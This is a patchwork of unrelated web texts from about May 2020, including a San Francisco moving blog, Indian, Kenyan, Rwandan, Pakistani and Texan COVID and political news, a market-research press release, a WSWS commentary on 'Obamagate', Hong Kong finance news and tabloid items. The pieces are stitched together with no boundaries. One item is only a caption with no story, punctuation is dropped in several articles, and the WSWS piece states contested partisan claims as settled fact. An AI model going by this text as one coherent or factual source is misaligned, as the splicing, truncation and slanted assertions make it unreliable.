Literally every type of individual lives in Bay Area. It has become a town of moves, so you won't be the only newbie. The Bay welcomes individuals of all backgrounds, colors and socioeconomic statuses. It is true that the city is a melting pot.

Cons of moving to San Francisco:

Nothing is perfect in the world; neither is San Francisco. San Francisco has many hardships that you may have to face in San Francisco with so many attractions for the movers that you don't have to face in the small cities. Let's not forget to talk about those factors that can cause some trouble for you in San Francisco, so you may prepare well to deal with them. Let's have a view!

Traffic:

In the big city with a population of 8, 83,305, traffic is the biggest problem in the city. The people have to face traffic flooded roads that can keep you from moving faster within the city. Although movers helps you solve this problem for the passengers, yet traffic is a bigger problem anyways.

Expensive accommodation:

Being an expensive city, accommodation in San Francisco is also a big problem with the city. Housing and residence are costly in the city. Whether you want to buy a house in the city or to get a dwelling on rent, the prices are too high to afford for the people who have a low budget. So, this expensive accommodation can cause trouble for many of us.

Crime rate:

The saddest news for the people who were planning to shift to San Francisco is the city's highest crime rate. Residents have to be more than vigilant about their money and luggage in public places. Local government is trying its best to eradicate this issue by commencing strict laws against the criminals; we hope that they will overcome this increasing crime rate in the city.

Threat of Earthquakes

Small, recurrent earthquakes are common on San Francisco, and they typically aren't critical. Still, it is always a good idea to have emergency equipment on hand just if it is "a big one".

Homelessness and drug addiction

There're a lot of beautiful features of San Francisco to adore, but the problems the town has with meth and heroin are quite difficult. There's a noteworthy homeless populace in the town as well, particularly in the hub, where you are going to find a higher crime frequency, unhygienic conditions, and come across with public who are worried for a solution, down on their luck, or stressed with their mental health.

Summing it up:

Despite these threats in the city, San Francisco is still the biggest attraction for the people. And if you want to be a part of the population of San Francisco, you should hire movers to make your movement convenient in and out of the city.
New Delhi, May 22 : Good governance being the Modi government's unofficial tag line, a think tank associated with the the BJP is all set to launch a five-day online course on the subject.

It will start on May 30 to mark the completion of one year of the Modi government 2.0.

Many bureaucrats, including Lav Agarwal, Joint Secretary in the Ministry of Health and Family Welfare, who is now the face of the government in briefing media on COVID-19 situation, are likely to address the participants.

The online course will take up "lessons about governance in India and how Modi government is scaling new heights in India's good-governance," says the think tank headed by BJP Vice President and MP Vinay Sahasrabuddhe.

The course is open to everyone with interest in knowing about Indian administration, he said, adding it will be above partisan politics.

The course will talk about the role of innovations and technology in good governance, participative governance, targeted last-mile delivery and the role of leadership among other issues.

Calling the first year of Modi 2.0 as the year of "fulfilling commitments", while referring to abrogation of Article 370, Sahasrabuddhe said the first year will also be remembered for the wide use of technology by the government during the lockdown.

Latest updates on Howdy Modi Houston
Technavio has been monitoring the automotive diagnostic scan tools market and it is poised to grow by USD 2.50 billion during 2020-2024, progressing at a CAGR of over 1% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200522005079/en/

Technavio has announced the latest market research report titled Global Automotive Diagnostic Scan Tools Market 2020-2024 (Graphic: Business Wire)

Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Free Sample Report on COVID-19 Impact

The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. ACTIA Group, AVL List GmbH, CarMD.com Corp., Continental AG, Delphi Technologies Plc, DENSO Corp., Robert Bosch GmbH, Siemens AG, Snap-on Inc., and Softing AG are some of the major market participants. The rising number of vehicle workshops will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments.

Rising number of vehicle workshops has been instrumental in driving the growth of the market.

Automotive Diagnostic Scan Tools Market 2020-2024: Segmentation

Automotive Diagnostic Scan Tools Market is segmented as below:

Product PC-based Tools Hand-held Tools

Geography APAC Europe North America South America MEA



To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR43772

Automotive Diagnostic Scan Tools Market 2020-2024: Scope

Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our automotive diagnostic scan tools market report covers the following areas:

Automotive Diagnostic Scan Tools Market Size

Automotive Diagnostic Scan Tools Market Trends

Automotive Diagnostic Scan Tools Market Industry Analysis

This study identifies the development of integrated vehicle health management as one of the prime reasons driving the automotive diagnostic scan tools market growth during the next few years.

Automotive Diagnostic Scan Tools Market 2020-2024: Vendor Analysis

We provide a detailed analysis of vendors operating in the automotive diagnostic scan tools market, including some of the vendors such as ACTIA Group, AVL List GmbH, CarMD.com Corp., Continental AG, Delphi Technologies Plc, DENSO Corp., Robert Bosch GmbH, Siemens AG, Snap-on Inc., and Softing AG. Backed with competitive intelligence and benchmarking, our research reports on the automotive diagnostic scan tools market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support.

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Automotive Diagnostic Scan Tools Market 2020-2024: Key Highlights

CAGR of the market during the forecast period 2020-2024

Detailed information on factors that will assist automotive diagnostic scan tools market growth during the next five years

Estimation of the automotive diagnostic scan tools market size and its contribution to the parent market

Predictions on upcoming trends and changes in consumer behavior

The growth of the automotive diagnostic scan tools market

Analysis of the market's competitive landscape and detailed information on vendors

Comprehensive details of factors that will challenge the growth of automotive diagnostic scan tools market vendors

Table Of Contents:

Executive Summary

Market Landscape

Market ecosystem

Value chain analysis

Market Sizing

Market definition

Market segment analysis

Market size 2019

Market outlook: Forecast for 2019-2024

Five Forces Analysis

Five forces summary

Bargaining power of buyers

Bargaining power of suppliers

Threat of new entrants

Threat of substitutes

Threat of rivalry

Market condition

Market Segmentation by Product

Market segments

Comparison by Product

PC-based tools Market size and forecast 2019-2024

Hand-held tools Market size and forecast 2019-2024

Market opportunity by Product

Customer Landscape

Geographic Landscape

Geographic segmentation

Geographic comparison

APAC Market size and forecast 2019-2024

Europe Market size and forecast 2019-2024

North America Market size and forecast 2019-2024

South America Market size and forecast 2019-2024

MEA Market size and forecast 2019-2024

Key leading countries

Market opportunity by geography

Market Drivers

Market Challenges

Market Trends

Vendor Landscape

Overview

Vendor landscape

Landscape disruption

Vendor Analysis

Vendors covered

Market positioning of vendors

ACTIA Group

AVL List GmbH

CarMD.com Corp.

Continental AG

Delphi Technologies Plc

DENSO Corp.

Robert Bosch GmbH

Siemens AG

Snap-on Inc.

Softing AG

Appendix

Scope of the report

Currency conversion rates for US$

Research methodology

List of abbreviations

About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

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The Nairobi Metropolitan Service(NMS) has embarked on a free Covid-19 mass testing programme across all the 17 sub-Counties in the city.

The 11-day exercise started in some parts of Kamukunji, Dagoretti and Embakasi East sub-counties, with the health personnel carrying out the exercise at Zawadi Primary, St Teresas Boys Secondary and New Eastleigh Primary School on Wednesday.

On Thursday, the free mass testing moved to Dagoretti at Congo Stage, Molo line stage near Riruta and Kawangware Day Nursery School, targeting the Uthiru community.

The exercise also covered Mukuru slums, Pipeline and Quarry with testing centres stationed at Reuben Centre and Kwa Njenga Primary Schools.

The exercise will move to Utawala and its neighbourhood today before proceeding to Embakasi Central and West on Saturday.

Residents of Mukuru Kayaba, Mathare and Huruma areas in Starehe sub-county will be tested on Sunday.

The targeted mass testing will then move to Westlands next week, targeting residents of Kangemi, Sodom, Bottom line, Deep sea City Park and City Park market. Testing centres will be stationed at Kangemi, Kihumbuini Grounds and Highridge primary.

On Tuesday, May 26, the exercise will target residents of Langata and Kibera sub-Counties, with medical personnel pitching camp at Undugu grounds and Kamkunji grounds respectively.

Santon and Hunters areas in Kasarani sub-county will be covered on May 27, 2020 at Murema Primary School.

Residents of Githurai 44 and 45 will also be tested on the same day at Githurai Primary School.

On the 28th, COVID-19 testing will target the community around Mathare 1, 2 and 3, and Naivas area in Ruaraka constituency. Another team will be dispatched to Langata at Kwa Chief to test residents of the area.

The following day (May 29), a team will head back to Westlands at Cheleta Primary to test the community around Githogoro and Mji wa Huruma.Another team will be back in Mathare sub-County to test Huruma, Kariobangi North and Korogocho residents.

Residents of Bahati, Civil Servants, Makongeni, Jana Villa, and Jogoo Road in Makadara constituency will be tested at Heshima Road Primary on the penultimate day of the exercise.

Another team will be at Muthurwa Primary School to test the community around Shauri Moyo, Majengo, Jua Kali, Burma, Gikomba and Muthurwa.

The targeted mass testing will culminate on May 31 in Kamukunji at Maina Wanjigi Secondary School.
Brisbane will come close to shivering through its coldest May day in more than half a decade as cloud cover helps bring temperatures below average across Queensland.

A top of just 19 degrees is predicted for the River City on Saturday, one degree shy of the monthly record set in 2013.

The weather bureau has described the effect leading to the dip as "kind of like an evaporative airconditioner". Credit:File

The cooler temperatures are expected to continue into next week, the Bureau of Meteorology says.

Senior meteorologist Lauren Pattie said the bureau expected to see cool, dry air over the interior in the coming days, with temperatures five-to-10 degrees below average across much of the state.
Actress Nicole Kidman and the Big Little Lies cast have donated food to the frontline workers fighting coronavirus in the US.

The 52-year-old shared the news alongside a photo of nurses at a hospital in America on Instagram on Friday and thanked local restaurants for preparing the meals.

'Thrilled at the chance to reunite with my Big Little Lies cast for an amazing cause! Together with Frontline foods, we've been able to sponsor meals for medical heroes in five cities,' she wrote.

'Thrilled at the chance to reunite for an amazing cause!' Nicole Kidman and the Big Little Lies cast donated food to frontline workers on Friday

She added: 'We'd also like to thank the local restaurants who have helped to prepare these wonderful meals.'

She also thanked actress Kerry Washington as well as the cast of Scandal, who have also donated to frontline workers, 'for being such an inspiration to us'.

The number of people who have died of the coronavirus in the US has now topped 95,000, while the number of cases in the country hit 1.6 million on Friday.

Nicole's post comes after her husband Keith Urban revealed the actress broke her ankle while self-isolating at home in Nashville, Tennessee.

Helping hand: The 52-year-old shared a photo of a group of nurses at a hospital in the US and thanked local restaurants for preparing the meals

After a photo of the Moulin Rouge! star wearing a walking cast had sparked concern among fans, her husband revealed the cause of the mystery injury.

'She broke her ankle, but she's a trooper,' Keith, 52, told ET on Saturday, just one day after Nicole was spotted wearing the cast at his drive-in concert.

Keith added: 'There she was last night among all of the folks, hobbling around on her boot with her mask on.'

Injury: Nicole's post comes after her husband Keith Urban revealed the actress broke her ankle while self- isolating at home in Nashville, Tennessee

Nicole was pictured with the large walking cast over her right leg on Friday at Keith's concert for frontline healthcare workers at the Stardust Drive-In movie theatre, about 64 kilometres (40 miles) outside of Nashville.

It was the first time she and her husband had been seen in public for weeks.

Fans expressed their concern over the mystery injury, after the photo of Nicole was widely shared on Instagram.

'Hope you are not in pain. Get well Nicole,' one fan commented, while another asked: 'What's happened to Nicole's foot?'
A Samsung Biologics researcher looks into a bioreactor at the company's plant in Incheon in this undated file photo. Courtesy of Samsung Biologics



By Nam Hyun-woo





Samsung Biologics CEO Kim Tae-han
The Bombay high court on Friday rejected plea filed by Delhi University professor GN Saibaba for parole leave.

A division bench of justice RK Deshpande and justice Amit Borkar rejected the plea of the wheelchair-bound English professor primarily in view of the fact that the place in Bangalore where he intended to spend his parole leave was declared a Covid containment zone.

For his release on Parole, Saibaba had also pleaded a ground of illness of his mother, who is suffering from cancer. The bench however noticed from a report submitted by prison authorities that his mother was an outdoor patient and brother of the DU professor and his wife were there to take care of his ailing mother.

The bench has, however, granted the DU professor liberty to apply for parole leave after the lockdown is over and the area is declared free from the containment zone.

In March 2017 Gadchiroli sessions court has convicted Saibaba along with five others for their links with Left-wing extremist organisations and for aging war against India. All of them have been sentenced to life imprisonment.

Saibabas application for suspension of sentence and grant of bail is already rejected by high court.
As Memorial Day weekend collides with the second phase of reopenings in Texas, city of San Antonio officials urged residents Thursday to continue safe practices amid the pandemic.

Its weekends like this when theres a surge of new activity, where we have the highest risk of things going in the wrong direction, Mayor Ron Nirenberg said. So we want everybody to do their part so we can continue the steady march forward to opening our community back up again.

Unlike on Easter, the city wont be closing any parks this weekend to prevent the spread of the coronavirus. Testing will proceed Monday, said Dawn Emerick, director of the Metropolitan Health District, but the agencys COVID-19 hotline and clinics will be closed.

On Friday, restaurants will be allowed to fill to 50 percent occupancy, and bars, bowling alleys and aquariums can open for the first time at 25 percent capacity.

Thursdays test results showed 49 more San Antonio-area residents were infected with the coronavirus, increasing the countywide total to 2,371.

There was one more death caused by COVID-19  a Hispanic man in his 50s who died at a Baptist hospital, Nirenberg said. That increased the total number of local coronavirus deaths to 64.

Nirenberg noted that testing has increased significantly, which is driving up the number of positive results. Metro Health has a goal of 3,000 tests per day, and it recently reached more than 2,000.

A better indicator of how pervasive the disease is in the community is the percentage of positive results, officials say. That figure has been dropping every week for the last three weeks. It stood at 3.5 percent last week.

Counties surrounding San Antonio are also seeing steady upticks in cases. Comal County reported three new cases, for a total of 81, and six deaths. As of Wednesday, there were 24 cases in Kendall County, but only five active cases.

On ExpressNews.com: Get the latest update on coronavirus and a tracking map of U.S. cases

On Thursday, the city of San Antonio also extended its stay-at-home order to June 4.

Nirenberg said the order still applies even with the restaurant and retail reopenings detailed in Gov. Greg Abbotts latest executive order.

You should stay home if youre not engaged in an essential or covered service as outlined by the governor, Nirenberg said.

He said the city will begin supplying businesses with protective equipment next week, with 6,000 kits ready to hand out.

Bexar County Judge Nelson Wolff said hes noticed an incremental increase each day in traffic  a once bemoaned occurrence that he now welcomed as a sign of reopening.

The traffic seemed close to normal.  I was kind of encouraged that people are getting back to work. But Im hoping they all remember they need to wear a face mask and keep that 6-foot going, Wolff said, adding that he dined out the other day and ate a great snapper.

Masks are no longer mandated but are strongly encouraged by the city. They were required until Abbott said cities and counties couldnt make them mandatory.

The city is continuing to test residents in all 65 nursing homes across Bexar County, with tests conducted at 28 facilities so far and 1,263 residents and 1,624 staffers tested. The city began testing at the six nursing homes that have had cases, then moved to those with low health safety ratings. It plans to have all nursing homes tested by the end of next week.

The city will then likely begin testing assisted living facilities, Emerick said.

Two new, free testing sites opened Thursday that will test residents who dont exhibit symptoms. They will be open from 10 a.m. to 2 p.m. Thursday through Saturday. They are at the Palo Alto College gym, 1400 W. Villaret Blvd., and Nellie Reddix Center, 4711 Sid Katz Drive.

There are thousands of lives in this community that have been saved by the hard work we have all been doing together to slow the spread of COVID-19, Nirenberg said. We will continue to do our part even as we begin to open up the economy.

Silvia Foster-Frau covers immigration news in the San Antonio, Bexar County and South Texas area. To read more from Silvia, become a subscriber. sfosterfrau@express-news.net | Twitter: @SilviaElenaFF
The Trump White House and Senate Republicans are launching a political counterattack after the failure of impeachment and the collapse of the bogus anti-Russia campaign carried out for three years by the Democratic Party. Under the banner of exposing Obamagatea watchword first embraced by Trump via Twitter on May 9they are demanding investigations and prosecutions of former Obama administration officials for their role in the anti-Russia campaign.

The immediate purpose of this effort is to deflect attention from the administrations abysmal handling of the COVID-19 crisis, and collect as much mud as possible to throw against the presumptive presidential candidate of the Democratic Party, former Vice President Joe Biden. The longer-term goal is to further Trumps drive to establish an authoritarian presidency without even the pretense of a legal domestic opposition.

On Wednesday, the Senate Homeland Security and Governmental Affairs Committee approved on a party-line vote the issuing of a subpoena to Blue Star Strategies, a consulting firm that worked with the Ukrainian gas company Burisma during the period that Hunter Biden, son of the Democratic frontrunner, was on the board of directors.

Obama hands over presidency to Trump at 58th Presidential Inauguration. (Wikimedia Commons)

This is likely a prelude to subpoenas to Hunter Biden and others involved in his lucrative ($80,000-a-month) relationship with the Ukrainian oligarch and owner of Burisma, Mykola Zlochevsky, during the time when Joe Biden had the main responsibility for Ukraine policy in the Obama-Biden administration.

It was Trumps effort to pressure the government of Ukraine into supplying politically useful material about the Bidens, by holding back US arms aid, that became the principal charge in his impeachment last year by the House of Representatives. Trump was acquitted in a Senate trial that ended in early February.

Committee Chairman Ron Johnson of Wisconsin said that he has already received documents from the State Department and the National Archives and would seek to issue a report by August, in plenty of time to influence the election.

A second Senate panel, the Judiciary Committee, chaired by Senator Lindsey Graham of South Carolina, is working on a similar timetable, with plans to issue a report before the November 3 presidential vote. It began Thursday to discuss subpoenas of former top Obama administration and national security officials, with a vote set for June 4 to give Graham broad subpoena power.

Graham has suggested he will call, among others, former FBI Director James Comey, his former deputy Andrew McCabe, former Director of National Intelligence James Clapper, former CIA Director John Brennan, former Attorney General Loretta Lynch and former White House Chief of Staff Denis McDonough. At least initially, Graham has downplayed calls by Trump for issuing subpoenas to Obama and Biden.

The initial focus of the Judiciary Committee will be the case of retired General Michael Flynn, who resigned in February 2017 as Trumps national security adviser and later pled guilty to lying to the FBI about his contacts with then-Russian Ambassador to the US Sergey Kislyak.

Over the past month, the Flynn case has become the war cry of Trump and his ultra-right backers at Breitbart News, Fox News and among congressional Republicans. They claim that Flynn was the victim of a perjury trap set up by Comey at the instigation of Obama and Biden to disrupt the incoming Trump administration.

Attorney General William Barr intervened to quash the sentencing of Flynn on perjury charges, taking the unprecedented action of dropping prosecution on charges to which Flynn had twice pled guilty before a federal judge. That judge, Emmett Sullivan, is now considering whether to allow the dropping of the charges and has asked for outside groups to file friend-of-the-court pleadings on the question.

The Senate investigations accelerated after a Tuesday meeting between Trump and leading Senate Republicans, at which he demanded they get tough against the Democrats by issuing subpoenas and holding televised hearings during the summer.

On the same day, Senate Majority Leader Mitch McConnell abandoned his previous reluctance to hold such hearings, declaring that the Obama administration had used the awesome power of the federal government to pry into their political rivals.

An American citizens campaign for the American presidency was treated like a hostile foreign power by our own law enforcement, he said, in part because a Democrat-led executive branch manipulated documents, hid contrary evidence, and made a DNC-funded dossier a launchpad for an investigation.

As McConnells comments demonstrate, the ultra-right pro-Trump effort has the advantage of being able to point to the completely concocted character of the anti-Russia campaign waged by a section of the military-intelligence apparatus, with the backing of the Democratic Party and the bulk of the media.

This campaign was launched, as the WSWS has explained, to preempt left-wing opposition to the Trump administration and channel popular hostility to Trump in a thoroughly right-wing direction, either to remove Trump from office through the methods of a palace coup or to pressure his administration to adopt a more stridently anti-Russian stance in relation to the Middle East, Ukraine and Eastern Europe in general.

There is no progressive or democratic side in this ferocious conflict within the American ruling elite, initially provoked by significant differences over foreign policy, but having escalated as sections of the US ruling elite came to the conclusion that Trump was too erratic and unstable to be trusted with managing the increasingly explosive social and political crisis at home.

The anti-Russia campaign began in the summer of 2016, with the launching of Crossfire Hurricane, an FBI investigation into alleged connections between a handful of Trump aides and the Russian government, which led to the electronic surveillance of former Trump foreign policy adviser Carter Page on the basis of FBI affidavits to the Foreign Intelligence Surveillance Court, later revealed to be riddled with lies and distortions.

The fall election campaign sparked an internal conflict within the FBI between pro-Trump and pro-Clinton factions. On October 7, the intelligence community issued a warning that Russia was seeking to intervene in the election on behalf of Trump. Then, on October 29, Comey released his notorious letter to Congress announcing the reopening of the FBIs investigation into Clintons use of a private email server during her tenure as secretary of state. This unprecedented action, in violation of Justice Department rules against interfering with an election, arguably tipped the outcome to Trump, given his narrow margins in industrial states like Wisconsin, Michigan and Pennsylvania.

After Trumps surprise election victory, the attention of the intelligence agencies and the Obama administration shifted to Flynn, Trumps top foreign policy aide and his choice to become White House national security adviser. Obama warned Trump against naming Flynn, who had been fired in 2014 as part of an internal conflict within the intelligence establishment, with Clapper and CIA Director John Brennan pressing for his dismissal.

On December 29, 2016, Obama imposed stiff diplomatic sanctions on the Russian government, expelling a large number of its representatives in the United States on the spurious grounds that he was retaliating for Russian interference in the US presidential election. In fact, there has never been any evidence that Russian actions consisted of anything more than purchasing a few Facebook ads, for less than $100,000, trivial in comparison to the $5 billion expended by the campaigns for Trump and Clinton.

Immediately after Obamas announcement of sanctions, Flynn called the Russian ambassador to the United States, Kislyak, to urge the Putin government not to respond in kind, assuring him that the incoming Trump administration would review the matter afresh. Such contacts are routine during any transition between outgoing and incoming US administrations, but Flynn apparently considered the content of the discussions to be politically embarrassing and lied about them when interviewed by FBI agents.

On January 5, 2017, Obama and his closest aides were briefed by the intelligence agencies on the anti-Russia investigation, on the eve of a similar briefing delivered to President-elect Trump in New York City. It appears that Obama was less enthusiastic about the targeting of Flynn than the security chiefs, including Clapper and Comey, and Flynn continued to receive full briefings from the outgoing national security adviser, Susan Rice.

On January 12, Washington Post columnist David Ignatius, a regular conduit for the intelligence agencies, made public the December 29 Flynn-Kislyak phone call, touching off the chain of events that led to Flynns firing a month later. It is perhaps ironic, in view of the current Obamagate campaign, that Ignatius voiced the then-common view in the intelligence community that Obama was dragging his feet on the anti-Russia campaign. His column was headlined, Why Did Obama Dawdle on Russian Hacking?

These apparently tactical differences led Comey to send FBI agents to the White House on January 24, 2017 to interview Flynn about his conversations with Kislyak without notifying the Department of Justice, in violation of the usual protocol, because Acting Attorney General Sally Yates reportedly shared Obamas concern that too direct an attack on Flynn and Trump might backfire.

Besides the various Senate investigations, the Department of Justice is conducting its own review of the origins of the Russia investigation, which led ultimately to the appointment of special counsel Robert Mueller. This review, headed by US Attorney John Durham, is expected to include testimony under oath from the same set of former Obama aides who are to be subpoenaed by the Senate.
KIGALI  Rwanda has issued a travel advisory, warning that all travellers arriving in the country must be placed under a mandatory 7-day quarantine.

This is one of the new measures announced by Kigali administration to stop the spread of coronavirus.

According to the travel advisory, all travellers arriving in Rwanda will be screened and tested upon entry before they are ordered to complete 7 days in mandatory quarantine.

The advisory adds that travellers are required to contribute to the cost of quarantine which include accommodation, meals and other services during the 7 days period, starting with the day of arrival

As of 18 May, 2020, every traveller arriving in Rwanda on a flight which departs from another country must proceed to one of the four selected facilities, for a minimum of 7 days, the advisory reads in parts.

If tested positive, you will be taken to a treatment facility with specialized medical care, and if you test negative, you must remain in mandatory quarantine for 7 days, you will be tested

again on the 5th day in quarantine, and if negative discharged on the 7th day.

Upon discharge, a traveller will continue to self-quarantine at home for a further 7 days with follow-up by Rwanda Biomedical Centre professionals.

Some of the quarantine centres include Nyaratarama Apartment, Kicukiro Apartment, Dove Hotel, Hilltop Apartment Greenwich Apartment and IPRC Kicukiro all located in Kigali

Related
Council secretary says this year the national cybersecurity watchdog neutralized a number of attacks on government information resources.

The National Security and Defense Council of Ukraine says a set of measures has been developed to strengthen the protection of citizens' personal data from leaks.

Speaking at the meeting of the National Coordination Center for Cybersecurity, which is part of the NSDC, Council Secretary Oleksiy Danilov pointed at the "unsatisfactory state of protection" of government's electronic information resources, registers, databases, and other information platforms, at the same time noting a better practical interaction between cybersecurity actors, the NSDC press service reports.

"Important in this process is to urgently inform the NCCC of detected cyber attacks on and cyber incidents in information systems of government bodies and critical infrastructure to coordinate prompt response because the consequences could create a significant threat to the vital interests of the state and society," Danilov emphasized.

Danilov said this year the national cybersecurity watchdog had neutralized a number of attacks on government information resources.

Read alsoUkraine's digital transformation ministry denies massive leak rumors

"Following the NCCC meeting, a package of measures was developed aimed at enhancing protection of national electronic information resources and citizens' personal data from leaks, as well as increasing the efficiency of interaction between the cybersecurity watchdogs and improving the regulatory framework in the field of cybersecurity" the report says.

As UNIAN reported earlier, several anonymous Telegram channels recently started selling citizens' personal data, including that on 26 million drivers' licenses.

On May 12, fake reports emerged, groundlessly claiming that data leaked from the government-promoted mobile application Diia, where citizens' personal data is integrated to facilitate government services.

The Ministry of Digital Transformation has refuted reports on Diia being penetrated as a result of a cyber attack.

"The application has no own database and neither does it accumulate such information (the mobile application only displays information from registries).

In Ukraine, there's a total of 9.5 million driver's licenses, of which 6.5 million are reflected in the Diya application, the ministry said.

On May 12, the police opened a criminal proceeding to investigate the leak of and trade in personal data.
By Sumeet Chatterjee and Scott Murdoch

HONG KONG, May 22 (Reuters) - China's plans to impose national security legislation in Hong Kong are expected to lead to the flight of capital and talent from the Asian financial hub, bankers and headhunters said.

The proposed legislation, which prompted concerns over freedoms in the semi-autonomous city, comes after large-scale and often violent pro-democracy demonstrations last year, which had already pushed some wealthy individuals to scout for investment options elsewhere.

"In some cases where clients had a bit of inertia and hoped things that happened last year will just go away, they will now step on the gas to reduce their wealth concentration risk here," said a senior banker at a European private bank.

"In many cases last year, we saw our clients putting in place plan B and didn't quite move the assets out of Hong Kong. I have already received some inquiries to activate that plan now," said the banker, whose firm manages more than $200 billion in assets.

The banker declined to be named as he was not authorised to speak to the media.

Hong Kong's main stock market index fell over 5% on Friday.

Globally, Hong Kong ranked second in wealth per adult after Switzerland in mid-2019, and the city ranked 10th in terms of the number of ultra-high net worth individuals or those with more than $50 million in assets, according to a Credit Suisse report.

Hong Kong competes fiercely with Singapore to be considered Asia's premier financial centre. Global private banks including Credit Suisse and UBS, as well as Asian wealth managers have their regional operations in the two hubs.

"We have had instances where clients were considering establishing a presence in Hong Kong ... but due to the pro-democracy protests in 2019, they decided to set up a presence in Singapore instead," said Rahul Sen, London-based partner for wealth management headhunting and consulting firm Boyden.

"Existing banks in Hong Kong will also look at increasing their Greater China coverage from Singapore if the protests last longer or a feasible solution is not sought."

Story continues

RULE OF LAW

Hong Kong's vaunted rule of law is widely seen as a major factor for global financial institutions that make the former British colony their regional home and using it as their main trade and other dispute resolution centre.

Pro-democracy activists and politicians in Hong Kong have for years opposed the idea of having to adhere to Chinese national security laws, arguing they could erode the city's high degree of autonomy, guaranteed under the "one country, two systems" handover agreement reached in 1997.

The proposed legislation will safeguard the central government's "overall jurisdiction" as well as Hong Kong's "high autonomy," a draft seen by Reuters said.

The head of the city's legislature rejected fears that 'one country, two systems' was dead.

Some bankers said that Hong Kong would now also struggle to attract talent, as individuals and financial institutions focus on the implications of Beijing's latest move.

"We've seen fewer people willing to move (here), you'd think that could be the case more now," said a senior banker at a leading European investment bank in Hong Kong.

With Hong Kong activists calling on Friday for people to rise up against Beijing's plans, there are also concerns about the economic impact of more protests in a city already in recession.

"The Hong Kong economy will definitely continue to be under a lot of pressure," said Anthony Chan, chief Asia investment strategist at Union Bancaire Privee, referring to the possible resumption of protests. (Reporting by Sumeet Chatterjee, Scott Murdoch, Noah Sin, Anne Marie Roantree; Editing by Marius Zaharia and Raju Gopalakrishnan)
Islamabad: Pakistan's coronavirus cases on Friday crossed the 50,000-mark after a record 2,603 more patients were diagnosed with the COVID-19 disease, the health ministry said.

The deadly contagion claimed the lives of 50 people in the last 24 hours, taking the death toll to 1,067, the Ministry of National Health Services said.

Out of the total 50,694 patients, Sindh reported 19,924 cases, Punjab 18,455, Khyber-Pakhtunkhwa 7,155, Balochistan 3,074, Islamabad 1,326, Gilgit-Baltistan 602 and Pakistan-occupied Kashmir 158 cases.

It also reported that so far 15,201 people have recovered from the malignant virus. In the past 24 hours, 1,064 people recovered from the novel coronavirus.

The authorities also carried out a record 16,387 tests, taking the total number of tests so far in the country to 445,987.

A special flight of Emirates carrying 251 stranded Pakistanis arrived at Islamabad International Airport from Dubai after Pakistan allowed the airline to operate special flights.

Officials said that all the passengers were shifted to different quarantine centres in Islamabad for 24 hours for medical tests related to the COVID-19.

The federal government has decided to restore international flights from Bacha Khan International Airport in Peshawar. Officials said that the decision was taken by Prime Minister Imran Khan.
For more coverage, visit our complete coronavirus section here.

Most people have been spending more time at home cooking as they've been sheltering in place, and while there have been noticeable shortages on items such as toilet paper, flour and yeast, there's one other popular item that's seen its prices grow while its supply shrinks: garlic.

Popular garlic purveyor and farm Christopher Ranch in Gilroy told the Mercury News that demand has recently gone up by 60%. The farm typically sells to grocery stores, restaurants and industrial buyers, the company told the paper, but once the shelter-in-place orders hit, the company went from selling 500,000 pounds of garlic a week to 800,000 pounds.

Ken Christopher, executive vice president of Christopher Ranch, guessed that with people staying at home and cooking more  especially with garlic  that has helped lead to the shortage. Last year's pre-pandemic harvest at their ranch was also low, he said, another factor contributing to the supply.

There are other reasons for the garlic shortage, other than stay-at-home chefs. California-grown garlic makes up about 50% of the garlic consumed in the state, according to Christopher. But China's supply is also another factor. China currently grows about 80% of the world's garlic supply, according to the Wall Street Journal, and with the coronavirus outbreak there, supply chains were interrupted. As of the February article, the cost of garlic was up 29% from last year, while wholesale prices were up 60% from the start of this year.

John Milan, another garlic grower in the United States, told the Journal that he expects the price of garlic to continue to increase this summer.

What this all translates to for customers is an inconsistent supply  or varied sizes  at your local store, or having to pay more at the register to bring home that bulb. The next crop of garlic will be ready this summer, with Christopher Ranch expecting to harvest in just three weeks, so the garlic situation is expected to improve shortly.

Head over to the Mercury News for the full story.

MORE CORONAVIRUS COVERAGE:

Sign up for 'The Daily' newsletter for the latest on coronavirus here.

Dianne de Guzman is a Digital Editor at SFGATE. Email: dianne.deguzman@sfgate.com
A woman hoping to impress her new boyfriend with a personalised pillow printed with a photo of her face was left in hysterics over the distorted result.

Amy Compton, 21, who lives in Romford, London, struggled to find her new boyfriend Harry Hilton, 28, a present for his birthday, so when he told her to surprise him, she decided to have a pillow made printed with a photo of her face.

However the joke backfired when the gift arrived with her hair cropped out of the photo and her face blown up out of proportion, as friends began comparing it to an 'egg' and a 'bald baked potato'.

Photos show the cushion zoomed in on Amy's face with almost all of her hair cropped away, creating the illusion that she's bald.

Amy Compton, 21, who lives in Romford, London, was left in hysterics after the cushion with her face on that she ordered for her boyfriend arrived. Pictured: Amy with the cushion

Amy (pictured) said she decided to order her face on a cushion after her boyfriend Harry Hilton, 28, asked her to surprise him for his birthday

Luckily the nursery nurse also bought Harry a pair of trainers. She also ordered a replacement cushion with more of her hair included in the design.

Amy said: 'I was so shocked. It didn't arrive how I expected it to. I knew it wouldn't be exactly like the picture but I didn't expect it to make me look like a potato.

'It looks like a potato. I just look like a jacket potato. It's got a little bit of my hair on it.

'It's got some hair around the side, but on the top it doesn't look like I've got any hair at all. I just look bald.

'I've only been with my boyfriend for three months and it's the first birthday we've bought for each other. I have no idea what to buy for boys and he's really fussy.

'So I was asking him what he wanted and he wasn't being helpful at all. He was saying, 'you choose, I want a surprise'.

Amy claims the design of the cushion (pictured) makes her look like a bald potato and all of her friends were amused by it

Amy (pictured) who has since ordered a replacement cushion, said she brought her boyfriend a pair of trainers instead of giving him the pillow

